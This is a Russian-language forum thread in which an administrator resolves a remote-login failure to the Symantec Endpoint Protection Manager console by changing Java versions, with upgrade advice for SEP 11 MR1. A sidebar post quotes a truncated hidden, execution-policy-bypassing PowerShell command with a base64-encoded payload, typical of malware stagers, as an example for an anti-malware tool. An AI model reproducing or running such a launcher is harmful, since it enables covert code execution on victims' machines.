Перейти к содержанию
lidia

Проблема с удаленным подключением к консоли Symantec Endpoint Protection Manager

Recommended Posts

lidia

Добрый день.

Подскажите, пожалуйста, с чем может быть связана проблема с удаленным входом в систему консоли SEP Manager.

В окне входа вводится имя пользователя, пароль, сервер:8443, сообщение - Не удалось подключиться к серверу. Проверьте имя и номер порта сервера. Имя сервера прописалось автоматически, но пробовали вводить и ип. По порту 8443 локально консоль работает. Сервер Win 2003 SP1 установлен только что для целей SEP, все настройки SEP по умолчанию, ничего пока не менялось, клиент на сервер не устанавливался. На машинах (Win XP sp2), откуда пытаемся подключиться не установлен клиент SEP, фаерволы.

спасибо.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Кирилл Керценбаум

lidia, Добрый день.

Попробуте посмотреть описание возможных причин по этой ссылке http://service1.symantec.com/support/ent-s...68?OpenDocument.

Также, Вы устанавливаете последнюю версию SEP 11.0.1 MR1?

Если проблема из-за ошибки в выпущенной версии Java, то вам нужно обновить на удаленном компьютере версию Java до последней, а также установить последнюю версию SEP 11.0.1 MR1, которая доступна на fileconnect.symantec.com.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
lidia

Спасибо за ссылку. Версия Java у нас - 1.6, в статье написано, что нужно именно 1.5.

А дистрибутив качался как раз с fileconnect.symantec.com по серийному номеру, Symantec Endpoint Protection 11.0 - Russian 11.0.1109.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Кирилл Керценбаум
Спасибо за ссылку. Версия Java у нас - 1.6, в статье написано, что нужно именно 1.5.

А дистрибутив качался как раз с fileconnect.symantec.com по серийному номеру, Symantec Endpoint Protection 11.0 - Russian 11.0.1109.

Это предыдущая версия, новая версия MR1 будет доступна примерно через 2 недели. Я бы рекомендовал вам либо скачать английскую версия (она уже MR1), либо подождать выпуска новой русской версии. В MR1 устранено много досадных ошибок и я бы советовал разворачивать уже его.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
lidia

С правильной версией java все заработало, спасибо.

Жаль, что поздно спросила, процесс перехода уже вовсю идет, осталось одно подразделение на SAV 10 и серверы. Ну мы же сможем сделать апгрейд до MR1 без проблем? :)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Кирилл Керценбаум
Жаль, что поздно спросила, процесс перехода уже вовсю идет, осталось одно подразделение на SAV 10 и серверы. Ну мы же сможем сделать апгрейд до MR1 без проблем?

Сможете, надеюсь без проблем, но советую с этим не затягивать, есть исправления очень важных багов ;) : http://service1.symantec.com/support/ent-s...63?OpenDocument

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

  • Сообщения

    • PR55.RP55
      Допустим: '%WINDIR%\syswow64\cmd.exe' /c powershell -nop -exec bypass -win Hidden -noni -enc aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYg... '<SYSTEM32>\rundll32.exe' <SYSTEM32>\FirewallControlPanel.dll,ShowNotificationDialog /configure /ETOnly 0 /OnProfiles 6 /OtherAllowed 0 /OtherBlocked 0 /OtherEdgeAllowed 0 /NewBlocked 4 "%WINDIR%\syswow64\windowspowersh... Было бы неплохо, если бы в Инфо. объекта. Прописывались данные по настройке  разрешений Firewall. + Отдельная категория по Firewall - что разрешено, что заблокировано.
    • SQx
    • SQx
      Спасибо,  как раз появился новый случай.
        DhcpDomain REG_SZ domain.name DhcpNameServer REG_SZ 192.168.1.1  
    • demkd
      ---------------------------------------------------------
       4.11.9
      ---------------------------------------------------------
       o Твик #39 теперь дополнительно включает отслеживание командных строк завершенных процессов, командные строки отображаются в окне информации.
         Только для Windows 8.1/Windows Server 2012 R2 и старше.  o WLBSCTRL.DLL теперь автоматически получает статус подозрительного файла.  o В окне информации сетевого адаптера (в разделе DNS) теперь отображается поле DHCP Domain при его наличии.  
    • PR55.RP55
      https://habr.com/ru/post/214953/ На подобное событие антивирус также может реагировать - если сервер будет в чёрном списке. Да и уязвимости...  
×